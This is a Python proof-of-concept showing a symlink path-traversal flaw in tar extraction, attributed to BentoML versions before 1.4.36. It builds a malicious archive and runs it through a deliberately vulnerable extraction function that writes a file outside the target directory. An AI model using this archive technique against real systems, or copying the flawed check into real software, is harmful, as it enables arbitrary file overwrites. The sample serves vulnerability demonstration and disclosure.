Vulnerable code sample

import os
import tarfile
import tempfile
import shutil
import io

def create_malicious_tar(output_filename: str, target_path: str):
    """
    Creates a malicious tar file with a symlink path traversal vulnerability.

    The archive will contain:
    1. A symlink named 'malicious_symlink' pointing to an absolute path outside the extraction dir.
    2. A regular file, also named 'malicious_symlink', whose content will be written
       through the symlink to the target path.
    """
    PAYLOAD = b"This file was written outside the intended directory!\n"
    
    with tarfile.open(output_filename, "w") as tar:
        # 1. Create a TarInfo for the symbolic link
        symlink_info = tarfile.TarInfo(name="malicious_symlink")
        symlink_info.type = tarfile.SYMTYPE
        symlink_info.linkname = target_path
        tar.addfile(symlink_info)

        # 2. Create a TarInfo for the file that will write through the symlink
        file_info = tarfile.TarInfo(name="malicious_symlink")
        file_info.size = len(PAYLOAD)
        tar.addfile(file_info, io.BytesIO(PAYLOAD))

def vulnerable_safe_extract(tar_path: str, dest_dir: str):
    """
    A function that mimics the vulnerable extraction logic from BentoML < 1.4.36.
    It checks the path of the symlink itself, but not its target, allowing
    a subsequent file write to escape the destination directory.
    """
    abs_dest_dir = os.path.realpath(dest_dir)
    
    with tarfile.open(tar_path, "r") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(abs_dest_dir, member.name)
            abs_member_path = os.path.realpath(member_path)

            # The vulnerable check: It validates the symlink's path ('.../safe_extract_dir/malicious_symlink')
            # is within the extraction directory, which is true. It does NOT check the symlink's
            # target ('/tmp/pwned_file').
            if not abs_member_path.startswith(abs_dest_dir):
                print(f"[-] Path is outside destination, blocking: {member.name}")
                continue

            print(f"[+] Path validation passed for: {member.name}")
            tar.extract(member, path=dest_dir, set_attrs=False)


if __name__ == "__main__":
    # Setup a safe, temporary directory for extraction
    extraction_dir = tempfile.mkdtemp(prefix="safe_extract_dir_")
    
    # Define the attacker's target file path, outside the extraction directory
    arbitrary_write_target = os.path.join("/tmp", "pwned_file")
    
    # Define the name for our malicious tar file
    malicious_tar_name = "malicious.tar"

    print(f"[*] Creating safe extraction directory: {extraction_dir}")
    print(f"[*] Defining arbitrary write target: {arbitrary_write_target}")

    # Ensure the target file doesn't exist before the attack
    if os.path.exists(arbitrary_write_target):
        os.remove(arbitrary_write_target)
    if os.path.islink(arbitrary_write_target):
        os.remove(arbitrary_write_target)

    # 1. Attacker creates the malicious tar file
    create_malicious_tar(malicious_tar_name, arbitrary_write_target)
    print(f"[*] Malicious archive '{malicious_tar_name}' created.")

    # 2. Victim uses the vulnerable function to extract the archive
    print("\n[*] Attempting extraction with vulnerable function...")
    vulnerable_safe_extract(malicious_tar_name, extraction_dir)
    print("[*] Extraction process finished.\n")

    # 3. Verify if the arbitrary file write was successful
    print(f"[*] Checking if attack was successful by looking for: {arbitrary_write_target}")
    if os.path.exists(arbitrary_write_target):
        print("\n" + "="*50)
        print("  VULNERABILITY DEMONSTRATED SUCCESSFULLY!")
        print(f"  File created at '{arbitrary_write_target}' outside of '{extraction_dir}'")
        with open(arbitrary_write_target, 'r') as f:
            print(f"  File content: '{f.read().strip()}'")
        print("="*50)
        # Clean up the created malicious file
        os.remove(arbitrary_write_target)
    else:
        print("\n[-] Attack failed. The file was not created.")

    # Clean up temporary files and directories
    shutil.rmtree(extraction_dir)
    os.remove(malicious_tar_name)